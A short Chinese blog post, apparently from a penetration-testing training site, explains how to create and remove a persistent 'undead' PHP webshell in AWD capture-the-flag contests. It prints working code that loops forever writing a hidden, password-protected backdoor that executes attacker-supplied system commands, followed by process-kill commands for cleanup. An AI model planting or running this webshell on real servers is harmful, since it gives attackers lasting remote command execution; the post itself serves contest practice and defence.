干货|不死马的创建和查杀
【推荐学习】暗月渗透测试培训 十多年渗透经验,体系化培训渗透测试 、高效学习渗透测试,欢迎添加微信好友aptimeok 咨询。
0x00 创建
md5加密密码:

代码:
ignore_user_abort(true);set_time_limit(0);unlink(__FILE__);$file = '.shell.php';$code = '<?php if(md5($_GET["pass"])=="2591c98b70119fe624898b1e424b5e91"){@system($_POST[cmd]);} ?>';while (1){file_put_contents($file,$code);}
触发执行:

0x01 查看
权限:

内容:

执行:

0x02 查杀
root用户角度的查杀:
1、杀掉进程
ps aux | grep www-data | awk '{print $2}' | xargs kill -9
2、重启服务
重启web服务。
其他用户的查杀:
在awd中,ctf用户没有权限,不能重启服务,而且,以ctf的用户来杀进程和条件竞争也是不可行的。
(不死马会先创建,然后被删除,在创建到被删除的过程中会可利用。)
最简单的方式就是以www-data用户的角度通过杀进程来实现查杀。
1、杀掉进程:
<?php@system("ps -aux | grep www-data | awk '{print $2}' | xargs kill -9");
2、条件竞争:
不推荐,如果不死马中没有调用usleep()函数,进行延时的话,条件竞争是gg的。
原创文章,作者:moonsec,如若转载,请注明出处:https://www.moonsec.com/6879.html

